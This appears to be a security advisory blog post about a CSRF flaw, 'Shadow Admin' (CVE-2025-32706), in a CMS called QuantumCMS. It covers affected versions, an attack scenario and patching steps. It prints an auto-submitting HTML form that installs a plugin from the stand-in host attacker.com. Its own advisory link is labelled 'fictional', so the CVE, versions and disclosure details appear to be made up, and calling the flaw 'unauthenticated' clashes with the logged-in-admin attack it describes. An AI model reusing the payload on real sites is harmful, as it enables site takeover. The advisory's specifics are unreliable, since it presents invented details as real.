Critical Privilege Escalation Flaw in QuantumCMS (CVE-2025-32706)

August 12, 2025
Scott Wu

A high-severity unauthenticated privilege escalation vulnerability has been discovered in QuantumCMS, a popular open-source content management system. This vulnerability, tracked as CVE-2025-32706 and nicknamed “Shadow Admin,” carries a CVSS score of 8.8 (High). It allows an attacker to trick a logged-in administrator into installing a malicious plugin, leading to a full site takeover.

TL;DR:

  • What: A Cross-Site Request Forgery (CSRF) vulnerability leading to administrator-level privilege escalation.
  • Affected Versions: All versions of QuantumCMS from 3.0.0 through 4.2.1.
  • Impact: Attackers can gain full administrative control and execute arbitrary code on the server.
  • Action: Update to version 4.2.2 or newer immediately. You should also audit all installed plugins.

What is QuantumCMS?

QuantumCMS is a flexible and powerful content management system known for its extensive plugin architecture. It’s used to power everything from small personal blogs to large-scale corporate websites and e-commerce platforms.

The “Shadow Admin” Vulnerability Explained

This vulnerability is a classic Cross-Site Request Forgery (CSRF) attack with a devastating impact. The issue lies within the plugin installation functionality, specifically the API endpoint used to install a new plugin from a remote URL.

The vulnerable endpoint, /api/v1/plugins/install_from_url, was not protected by a CSRF token. This means the endpoint couldn’t verify if a request was intentionally sent by the user or forged by an attacker.

Here’s the attack scenario:

  1. An attacker hosts a malicious webpage (e.g., evil-site.com).
  2. They trick a logged-in QuantumCMS administrator into visiting this page.
  3. The malicious page contains hidden code that automatically sends a request to the administrator’s QuantumCMS site.
  4. This forged request tells the CMS to install a plugin from a URL controlled by the attacker (e.g., https://attacker.com/malicious-plugin.zip).

Because the administrator is already logged in, their browser automatically includes their session cookie with the forged request, and QuantumCMS executes the command with full admin privileges.

Here’s a simplified example of the malicious code on the attacker’s website:

HTML

<body onload="document.forms[0].submit()">
  <form action="https://your-cms-site.com/api/v1/plugins/install_from_url" method="POST">
    <input type="hidden" name="plugin_url" value="https://attacker.com/malicious-plugin.zip" />
  </form>
</body>

Once the malicious plugin is installed and activated, the attacker can achieve Remote Code Execution (RCE) and take complete control of the web server.

Impact and Remediation

A successful exploit of CVE-2025-32706 grants an attacker the ability to create a “shadow admin” on your site, leading to:

  • Full site takeover and content defacement.
  • Installation of backdoors, spyware, or web shells.
  • Theft of sensitive user data, including customer information and password hashes.
  • Use of your server to host malware or participate in botnets.

Are you affected? You are vulnerable if you are running any version of QuantumCMS between 3.0.0 and 4.2.1.

How to Fix It: The QuantumCMS core team has released a security patch.

  1. Update Immediately: Upgrade your QuantumCMS installation to the latest version, 4.2.2, which enforces CSRF token validation on all state-changing API endpoints.
  2. Audit Your Plugins: After updating, you must manually review all installed plugins. Go to your Admin Dashboard ➡️ Plugins and check for any unrecognized or suspicious plugins. Compare your list against the official QuantumCMS plugin repository and remove anything that doesn’t belong.
  3. Force Logout: It’s good practice to force a logout of all user sessions after the update to invalidate any potentially compromised session cookies.

Resources and Citations

This flaw was responsibly disclosed by the security research team at CyberWarden Labs.

  • Official QuantumCMS Website: https://www.quantumcms.org
  • Official GitHub Repository: https://github.com/QuantumCMS/Quantum
  • Official Security Advisory: https://github.com/QuantumCMS/Quantum/security/advisories/GHSA-fictional-qrst-5432
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-32706
  • Discoverer’s Technical Write-up: https://labs.cyberwarden.io/cve-2025-32706-quantum-csrf/

This is a simple vulnerability to exploit with a very high impact. Protect your site and your users by patching immediately.

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